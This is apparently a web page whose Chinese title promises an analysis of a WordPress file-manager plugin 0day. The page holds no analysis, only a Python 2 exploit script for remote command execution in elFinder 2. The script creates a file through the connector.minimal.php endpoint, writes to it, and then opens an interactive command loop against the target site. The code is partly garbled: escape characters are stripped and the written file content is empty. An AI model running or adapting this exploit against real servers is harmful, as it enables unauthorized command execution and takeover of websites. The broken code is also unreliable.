WordPress文件管理器插件0day漏洞解析

 #[+] Author: TUNISIAN CYBER #[+] Title: elFinder 2 Remote Command Execution (Via File Creation) Vulnerability #[+] Date: 06-05-2015 #[+] Vendor: https://github.com/Studio-42/elFinder #[+] Type: WebAPP #[+] Tested on: KaliLinux (Debian) #[+] Twitter: @TCYB3R #[+] Time Line: #   03-05-2015:Vulnerability Discovered #   03-05-2015:Contacted Vendor #   04-05-2015:No response #   05-05-2015:No response #   06-05-2015:No response #   06-05-2015:Vulnerability published  import cookielib, urllib import urllib2 import sys  print"x20x20+-------------------------------------------------+" print"x20x20| elFinder Remote Command Execution Vulnerability |" print"x20x20|                 TUNISIAN CYBER                 |" print"x20x20+-------------------------------------------------+"   host = raw_input('x20x20Vulnerable Site:') evilfile = raw_input('x20x20EvilFileName:') path=raw_input('x20x20elFinder s Path:')   tcyber = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(tcyber))  create = opener.open('http://'+host+'/'+path+'/php/connector.minimal.php?cmd=mkfile&name='+evilfile+'&target=l1_Lw') print create.read()  payload = urllib.urlencode({                            'cmd' : 'put',                            'target' : 'l1_'+evilfile.encode('base64','strict'),                            'content' : ''                            })  write = opener.open('http://'+host+'/'+path+'/php/connector.minimal.php', payload) #print write.read() print 'n' while True:    try:        cmd = raw_input('[She3LL]:~# ')         execute = opener.open('http://'+host+'/'+path+'/admin/js/plugins/elfinder/files/'+evilfile+'?cmd='+urllib.quote(cmd))        reverse = execute.read()        print reverse;         if cmd.strip() == 'exit':            break     except Exception:        break  sys.exit()